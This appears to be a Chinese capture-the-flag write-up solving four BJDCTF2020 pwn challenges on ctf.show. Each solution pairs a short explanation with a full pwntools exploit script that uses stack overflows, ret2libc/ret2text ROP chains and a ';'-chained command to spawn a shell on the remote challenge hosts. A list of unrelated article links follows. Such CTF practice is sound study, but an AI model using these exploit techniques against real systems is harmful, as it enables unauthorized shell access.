PWN-PRACTICE-CTFSHOW-4

  • BJDCTF2020-babyrouter
  • BJDCTF2020-babystack
  • BJDCTF2020-dizzy
  • BJDCTF2020-encryptde stack

BJDCTF2020-babyrouter

栈溢出,ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28034)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x4006AD
pop_rdi=0x400733
ret=0x4004c9io.recvuntil("tell me u story!\n")
payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x06f690
system=libc_base+0x045390
binsh=libc_base+0x18cd57io.recvuntil("tell me u story!\n")
payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
io.sendline(payload)io.interactive()

BJDCTF2020-babystack

栈溢出,ret2text

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28177)
elf=ELF("./pwn1")io.sendlineafter("the length of your name:\n","-1")backdoor=0x4006E6
ret=0x400561
io.recvuntil("u name?\n")
payload="a"*0x10+"b"*8+p64(ret)+p64(backdoor)
io.sendline(payload)io.interactive()

BJDCTF2020-dizzy

利用linux系统命令行多命令执行的特点

Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令&& --如果命令被 && 所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止|| --如果命令被双竖线 || 所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止

构造输入,使之能在进行加0x1BF52后得到"PvvN| 1S S0 GREAT!;/bin/sh\x00",分号前的命令会失败,但仍然会执行system("/bin/sh\x00")

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28161)
elf=ELF("./pwn1")s="PvvN| 1S S0 GREAT!;/bin/sh".ljust(80,"\x00")
arr=[]
for i in range(0,len(s),4):tmp=hex(ord(s[i+3]))[2:].zfill(2)tmp+= hex(ord(s[i + 2]))[2:].zfill(2)tmp+= hex(ord(s[i + 1]))[2:].zfill(2)tmp+= hex(ord(s[i + 0]))[2:].zfill(2)arr.append(int(tmp,16))
for i in range(len(arr)):arr[i]-=0x1BF52#io.recvuntil("Let's play this!")
for i in range(20):io.sendline(str(arr[i]))io.interactive()

BJDCTF2020-encryptde stack

程序打印随机数作为RSA密文,解RSA得到明文,循环20次,然后栈溢出,ret2libc

# -*- coding:utf-8 -*-
from pwn import *
import libnum
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28163)
elf=ELF("./pwn1")n=94576960329497431
e=65537
p=261571747
q=361571773
phin=(p-1)*(q-1)
d=libnum.invmod(e,phin)io.recvuntil("to encrypt it\n")
for i in range(20):c=int(io.recvuntil("\n")[:-1])m=pow(c,d,n)io.sendline(str(m))io.recvline()puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln_addr=0x400B30
pop_rdi=0x40095a
ret=0x4006e1io.recvuntil("inpu1t you name:\n")
payload="a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x06f690
system=libc_base+0x045390
binsh=libc_base+0x18cd57io.recvuntil("inpu1t you name:\n")
payload="a"*0x48+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(vuln_addr)
io.sendline(payload)io.interactive()

PWN-PRACTICE-CTFSHOW-4相关推荐

  1. CTFshow——Pwn(1)

    CTFshow--Pwn(1) 有点懒不想写write up了.只有exploit. PWN签到题 from pwn import * p = remote('xxx',xxx) p.interact ...

  2. ctfshow pwn——PWN签到题、pwn02

    PWN PWN签到题 pwn02 PWN签到题 nc连上就行了 pwn02 check一下是32位,用32位ida打开看看 很直白的pwnme函数 9字节的空间读入了50字节,产生了栈溢出 用pwnd ...

  3. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  4. CTFshow 击剑杯 部分WP

    摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...

  5. CTFSHOW 套娃shell

    CTFSHOW 套娃shell 1.题目给的是用nc连接的,测试了下,传个请求包过去就可以了,比如(最后的换行不要忘了): GET /?file=/a HTTP/1.1 Host: 127.0.0.1 ...

  6. [ CTF ] WriteUp- 20221003 CTFShow新(脑洞)手(套路)杯

    目录 [Misc]哇库哇库 [Misc]显卡坏了 赛后看官方wp给的脚本: [Web]easy_eval [Web]repairman [Crypto]easy_base [Crypto]天知地知(赛 ...

  7. ctfshow愚人节欢乐赛wp(部分)

    目录 特殊base 凌晨四点的ctfshow php的简单RCE 以旧换新(签退-送分) 暴躁的zip Easy_game 这次月赛拿了个第十二,差一丢丢,只能说凌晨四点赚到了,下面这些是我比赛的时候 ...

  8. ctfshow吃瓜杯 八月群赛 WriteUp/WP

    Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身 签到题,做过web入门的都应该知道怎么绕,分开来看 比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...

  9. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  10. HDU1089-1096 A+B for Input-Output Practice 系列问题(输入输出格式练习)

    HDU1089 A+B for Input-output Practice (1) 问题描述:每行输入一对整数a和b,每行对应输出a与b的和. Sample Input 1 5 10 20 Sampl ...

最新文章

  1. 如何快速搭建智能人脸识别系统
  2. [JavaME]解决来电问题(Incoming Call)
  3. 采用邻接表存储结构,编写一个判别无向图中任意给定的两个顶点之间是否存在一条长度为k的简单路径的算法。
  4. 2022年3月23日15:51:00——百度2班留存
  5. Ajax(5)UpdatePanel的使用方法
  6. .NET异步程序设计之任务并行库
  7. 面对初学者的CAN总线入门教程(二)_CAN协议基本概念及其规格标准
  8. postgresql开启日志
  9. 【性能测试】JMeter性能测试(一)-入门篇
  10. 广州市职称计算机应用考试,职称计算机考试
  11. 课堂派考试可以切屏吗_雨课堂考试可以切屏吗?能切出去搜答案吗
  12. fflush(stdout)和fflush(stdin)
  13. 遇到的问题1:print时报错 can only concatenate str (not tuple) to str
  14. maven的下载安装,setting.xml配置教程,Idea 配置maven
  15. JAVA团队开发手册 - 1.环境搭建
  16. Python 1~500 求和(循环遍历求和,高斯求和,定义函数求和)
  17. Vue 微信微博分享
  18. 全球及中国自然循环蒸发器行业研究及十四五规划分析报告
  19. 流量分析题目(流量检索,数据提取,数据重组,伪加密,图片提取)
  20. 1. 什么是WIN-PE?

热门文章

  1. unit类型是什么?_项目中有用过锁吗?能解释一下什么是AQS(AbstractQueuedSynchronizer)吗?...
  2. 1285B. Just Eat It
  3. 2017安徽二级c语言,2017计算机二级C语言测试题及答案
  4. oracle禁止修改密码,Oracle 用户密码过期后不允许修改密码的示例代码
  5. 原码、反码、补码,计算机中所有的数都是以补码的形式存储的
  6. android监听器作用,android - 监听器和接收器(Android)有什么区别?
  7. margin background_margin:auto与布局展示
  8. hill密码源代码c语言,古典密码(Hill加密算法)(示例代码)
  9. BSS段、数据段、代码段、堆与栈
  10. tankwar的java坦克子弹撞墙_tankwar